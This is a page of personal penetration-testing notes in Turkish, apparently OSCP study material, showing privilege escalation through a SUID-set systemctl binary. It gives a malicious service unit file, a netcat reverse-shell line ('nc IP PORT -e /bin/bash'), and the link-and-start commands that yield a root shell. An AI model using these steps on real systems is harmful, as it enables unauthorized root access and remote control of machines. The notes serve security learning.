messy security notes
  • security is an illision
  • Useful Blog Links
  • Windows
    • ad-101
    • MS17-010
    • SMB
    • Post Exploitation Tricks
    • DCOM/RPC
    • Basic Commands
    • SMB Enumeration
  • Linux
    • SUID Set Edilmiş servicectl Abuse Etme
    • sudoers dosyası bozulursa?
    • SSH Welcome Message and Banner
    • pkexec ve pkttyagent
    • vipw , vigr , visudo
    • IP Forwarding
    • İki NIC Arasında Port Yönlendirme
    • tasksel
    • LAMP
    • Find All SUID Bit
    • Linux Operatorler
    • IFS
    • Ssh Public Key Tricks
    • Local & Remote Port Forwarding
    • Linux Priv Esc
    • Static IP
  • POST EXPLOITATION
    • from external network to domain admin
    • post exp 2
  • OSCP
  • Temel Komutlar ve Araçlar
  • Zayıf Servisler
  • Örnek Bir Senaryo
  • Parola Saldırıları
  • ms17-010 python exploit
  • Full Interactive Shell
  • Notes*
  • Apache James Server 2.3.2 Exploit
  • windows exploit suggester
  • FreeBsd and Some PHP tricks
  • fundamental blog
  • Metasoloit & Meterpreter & msfvenom
  • at-tftp server 1.9
  • Tunneling and Forwarding
  • Common Exploits
  • Windows Servisler
  • Execute process as another user
  • Teorik
    • Authentication and Authorization
    • Kullanıcı Hesap Türleri ve Hakları
    • Kerberos
  • SYSTEM
    • Apache2
    • Bind9 Log
    • apache - basic auth - proxy
  • Buffer Overflow - BOF
    • BOF - Stack Based
    • BoF Links
  • BASH SCRIPTING
    • Samples
  • keepnote
  • Docker
    • Docker
  • Misc
    • 50-cloud-init.yaml
Powered by GitBook
On this page

Was this helpful?

  1. Linux

SUID Set Edilmiş servicectl Abuse Etme

Eğer bir linux dağıtımında servicectl processine suid bit set edilmiş ise bir saldırgan kendi servisini oluşturarak bu service üzerinden privesc. yapıp root haklarına yükselebilir. Service dosyaları ".service" uzantısı ile bitmek zorundadır. Örnek bir service dosyası (myservice.service)

[Service]
Type=simple
ExecStart=/bin/bash /tmp/test.sh
 
[Install]
WantedBy=multi-user.target

Örnek test.sh dosyası ise aşağıdaki gibi olabilir.

nc IP PORT -e /bin/bash

servicectl komutu tarafından oluşturduğumuz servisi çalıştırmak için /etc/systemd/system dizini içersine ".service" ile biten dosyayı atmalıyız. Eğer yazma izni yoksa o zaman linkleyerek de bu durumu çözebiliriz.

** aşağıdaki komuta service dosyası yolu belirtilirken "full path" bilgisi verilmelidir.

systemctl link /tmp/myservice.service

Oluşturduğumuz servisi başlatmak için(.service uzantısını yazmak zorunda değiliz);

service start myservice.service

Servisi başlatıktan sonra belirtiğimiz .sh dosyası çalıştırılarak root haklarında belirlenen IP adresine shell düşer.

PreviousSMB EnumerationNextsudoers dosyası bozulursa?

Last updated 5 years ago

Was this helpful?